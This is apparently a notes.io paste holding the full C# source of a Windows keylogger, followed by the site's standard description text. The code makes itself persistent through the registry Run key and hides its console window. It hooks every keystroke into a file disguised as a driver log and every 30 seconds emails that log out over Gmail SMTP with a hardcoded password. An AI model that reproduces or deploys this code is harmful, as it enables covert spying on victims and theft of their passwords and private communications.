NotesWhat is notes.io?

Notes brand slogan

Notes - notes.io

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.IO;
using System.Diagnostics;
using System.Windows.Forms;
using Microsoft.Win32;
using System.Net.Mail;
using System.Net;

namespace KeyLoger
{
class Program
{
private static RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);

private static string defaultPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
private static string filePath = defaultPath + @"Win32Driverlog.vob";

private static Timer myTimer = new Timer();

private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;

static void Main(string[] args)
{


/*MailMessage mail = new MailMessage();
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
mail.From = new MailAddress("[email protected]");
mail.To.Add("[email protected]");
mail.Subject = "Test Mail - 1";
mail.Body = "mail with attachment";

Attachment attachment;
attachment = new Attachment(defaultPath + @"Win32DriverlogNew.vob");
mail.Attachments.Add(attachment);

SmtpServer.Port = 587;
SmtpServer.Credentials = new NetworkCredential("[email protected]", "n1OQC1NhrZ9y");
SmtpServer.EnableSsl = true;

SmtpServer.Send(mail);*/

//set program to startup
rkApp.SetValue("MyApp", Application.ExecutablePath.ToString());

myTimer.Enabled = true;
myTimer.Interval = 30000;
myTimer.Tick += new EventHandler(myTimer_Tick);


if (!(File.Exists(filePath)))
{
Directory.CreateDirectory(defaultPath + @"Win32Driver");
FileStream sr = File.Create(filePath);
sr.Close();
FileStream fs = File.Create(defaultPath + @"Win32DriverlogNew.vob");
fs.Close();
}


using (StreamWriter sw = new StreamWriter(filePath, true))
{
sw.WriteLine(Environment.MachineName); //write the machine name for the first time
sw.WriteLine(); sw.WriteLine();
}

var handle = GetConsoleWindow();

// Hide
ShowWindow(handle, SW_HIDE);

_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);

//Console.WriteLine("at");
//Console.ReadKey();
}

private static void myTimer_Tick(object sender, System.EventArgs e)
{
DateTime dateTimeObject = new DateTime();
dateTimeObject = DateTime.Now;

using (StreamWriter sw = new StreamWriter(filePath, true))
{
sw.WriteLine(); sw.WriteLine();
sw.WriteLine(dateTimeObject.ToShortDateString() + " " + dateTimeObject.ToShortTimeString());

}
try
{
File.Copy(filePath, defaultPath + @"Win32DriverlogNew.vob", true);
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}

SendMail();
}

private static void SendMail()
{
string SendersAddress = "[email protected]";
string ReceiversAddress = "[email protected]";
string SendersPassword = "n1OQC1NhrZ9y";
string subject = "Testing";
string body = "Hi This Is my Mail From Gmail";

MailMessage message = new MailMessage(SendersAddress, ReceiversAddress, subject, body);

try
{
//we will use Smtp client which allows us to send email using SMTP Protocol
//i have specified the properties of SmtpClient smtp within{}
//gmails smtp server name is smtp.gmail.com and port number is 587
SmtpClient smtp = new SmtpClient
{
Host = "smtp.gmail.com",
Port = 587,
EnableSsl = true,
DeliveryMethod = SmtpDeliveryMethod.Network,
Credentials = new NetworkCredential(SendersAddress, SendersPassword),
Timeout = 30000
};

Attachment attachment = new Attachment(defaultPath + @"Win32DriverlogNew.vob");
message.Attachments.Add(attachment);

smtp.Send(message); //send the mail
Console.WriteLine("Message Sent Successfully");
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
return;
}
finally
{
message.Dispose();
}
}

private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
}
}

private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);
using (StreamWriter sw = new StreamWriter(filePath, true))
{
if (vkCode == 13)
{
sw.WriteLine();
}
else
{
sw.Write((Keys)vkCode);
}
sw.Close(); sw.Dispose();
}
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}

[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();

[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

const int SW_HIDE = 0;
}
}
     
 
what is notes.io
 

Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...

With notes.io;

  • * You can take a note from anywhere and any device with internet connection.
  • * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
  • * You can quickly share your contents without website, blog and e-mail.
  • * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
  • * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 12 years and has been free since the day it was started.


You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;


Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio



Regards;
Notes.io Team

     
 
Shortened Note Link
 
 
Looding Image
 
     
 
Long File
 
 

For written notes was greater than 18KB Unable to shorten.

To be smaller than 18KB, please organize your notes, or sign in.